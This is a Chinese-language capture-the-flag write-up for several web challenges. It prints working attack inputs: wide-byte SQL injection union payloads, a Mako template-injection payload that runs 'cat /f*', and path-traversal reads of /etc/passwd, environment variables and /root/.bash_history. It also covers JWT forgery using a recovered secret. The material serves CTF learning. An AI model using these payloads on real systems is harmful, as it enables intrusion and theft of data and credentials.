lit_ezsql

进行传统的注入 1'1' and 1=2--+1' or 1=1--+ 回显均为查询 id=1 的内容,延时盲注也失败,说明注入的查询语句全都转换为 1,猜测后端使用 addslashes() 对我们的 sql 语句进行转义处理,mysql 自身进行隐式转换,如果 mysql 采用 GBK 编码,我们就能通过宽字符注入吃掉反斜杠:

img

报错恰好反映了单引号闭合,宽字符注入成功,接下来就是常规注入了

爆破字段数:

1
?id=%df' order by 5--+

爆破表名:

1
2
3
?id=%df' union select 1,user(),version(),database(),(select group_concat(table_name) from information_schema.tables where table_schema=database())--+
# 或者
?id=%df' union select TABLE_NAME,TABLE_SCHEMA,3,4,5 FROM information_schema.TABLES--+

img

爆破字段:

1
?id=%df' union select 1,user(),version(),database(),(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag_store')--+

这里我们使用了第二个引号会和第一个引号闭合受影响,可以采用 16 进制绕过或者 char 拼接字符绕过

1
2
?id=%df' union select 1,user(),version(),database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x666C61675F73746F7265--+
?id=%df' union select 1,user(),version(),database(),group_concat(column_name) from information_schema.columns where%20table_schema=database() and table_name=CHAR(102,108,97,103,95,115,116,111,114,101)--+

img

爆数据:

1
?id=%df' union select 1,user(),version(),database(),flag from flag_store--+

img

华辰企业服务运营平台

目录扫描目录得 /actuator/env,访问直出

img

lit_ezssti

尝试传统的 Jinja 模板注入 {{7*7}},原样回显,得先判断模板引擎了

waf:.$var=${<%=<#flag[]

1
2
3
% if True:
G3ng4r
% endif

img

这正是 Mako 模板引擎的语法结构,这里 . 被 waf,采用 getattr() 绕过,然后利用 int()尝试把 flag 字符串转成整数失败,报错回显出 flag

1
2
% if (int(getattr(getattr(__import__('os'),'popen')('cat /f*'),'read')()),):
% endif

img

Northbridge Document Hub

进去依旧登录框,提示研究员账号已开放,查看源码发现 /assets/js/portal.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
(function () {
var bootstrap = {
release: "2026.03.01-r12",
region: "cn-sh2",
auth: {
mode: "legacy-fallback",
// researcher:Research#2026
seed: "cmVzZWFyY2hlcjpSZXNlYXJjaCMyMDI2"
},
fileGateway: {
path: "/kkfileview/getCorsFile",
queryKey: "urlPath",
node: "legacy-parse-02"
}
};

window.NorthbridgePortal = {
config: bootstrap,
decodeLegacyCredential: function () {
try {
return atob(bootstrap.auth.seed);
} catch (e) {
return "";
}
}
};

var form = document.querySelector("form[data-auth='portal']");
if (form) {
form.addEventListener("submit", function () {
form.classList.add("is-submitting");
});
}
})();

注释里直接给了账密,登录即可进入后台,看到几个解析任务,没有交互点,从前端泄露的源码中我们还发现:path: "/kkfileview/getCorsFile" 和查询参数 queryKey: "urlPath",这就是题目说的文件预览网关了,

尝试进行文件读取:

  • /kkfileview/getCorsFile?urlPath=/etc/passwd:404
  • /kkfileview/getCorsFile?urlPath=../../../etc/passwd:400
  • /kkfileview/getCorsFile?urlPath=file:///etc/passwd:400

确实是有文件预览功能的,但是路径不正确,../ 被过滤,试试编码绕过,成功读到/etc/passwd 的内容

img

尝试 /flag 爆 404,环境变量 /proc/self/environ 中 FLAG=no_FLAG 说明 flag 不在此处

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_SERVICE_PORT=443
HOSTNAME=ce-zsmsx2yt1czf
LANGUAGE=en_US:en
JAVA_HOME=/opt/java/openjdk
PWD=/usr/local/tomcat
CONTAINER_PORT=30982
CATALINA_OPTS=-Dfile.encoding=UTF-8
TOMCAT_SHA512=737367433486757ccd687329d99b1188506cdec57a53a29b415173909c38cdf9da4fc9fd73b8cd17cd0a8def8610ad43bab8e84393dc904a0bd1121da8cab2fc
TOMCAT_MAJOR=9
HOME=/root
LANG=en_US.UTF-8
KUBERNETES_PORT_443_TCP=tcp://10.43.0.1:443
CONTAINER_ENDPOINT=challenge.cyclens.tech
TOMCAT_NATIVE_LIBDIR=/usr/local/tomcat/native-jni-lib
FLAG=no_FLAG
CATALINA_HOME=/usr/local/tomcat
SHLVL=0
KUBERNETES_PORT_443_TCP_PROTO=tcp
JDK_JAVA_OPTIONS= --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.lang.invoke=ALL-UNNAMED --add-opens=java.base/java.lang.reflect=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.base/java.util.concurrent=ALL-UNNAMED --add-opens=java.rmi/sun.rmi.transport=ALL-UNNAMED
KUBERNETES_PORT_443_TCP_ADDR=10.43.0.1
LD_LIBRARY_PATH=/usr/local/tomcat/native-jni-lib
KUBERNETES_SERVICE_HOST=10.43.0.1
LC_ALL=en_US.UTF-8
KUBERNETES_PORT=tcp://10.43.0.1:443
KUBERNETES_PORT_443_TCP_PORT=443
PATH=/usr/local/tomcat/bin:/opt/java/openjdk/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
TOMCAT_VERSION=9.0.118
JAVA_VERSION=jdk-17.0.19+10

根据题目提示查看历史文件,尝试读取 /root/.bash_history

img

我们拿到关键信息:

1
2
3
4
cd /opt/kkfileview/bin
./startup.sh --cache.dir=/opt/kkfileview/cache/parsed
java -jar kkFileView.jar --cache.dir=/opt/kkfileview/cache/parsed --forceUpdatedCache=true
cp /opt/kkfileview/cache/parsed/q1_finance_report_2026.zip /tmp/q1_finance_report_2026.zip

读取 /opt/kkfileview/cache/parsed/q1_finance_report_2026.zip

img

在浏览器将文件下载下来,flag 就在 flag.txt 中

lit_reverse_my_web

依旧登陆框,弱口令爆破失败,先注册一个账号进入后台访问 /flag,提示我们权限不足,请求头中携带 jwt,很清晰的思路:分析附件-> 拿到密钥-> 伪造 admin 身份-> 携带 jwt 访问 /flag

这里涉及到逆向内容了,这方面我是纯小白说了也是班门弄斧,hermes 跑出来的密钥为 rMw_2026_litctf_jwt_secret_key!!

img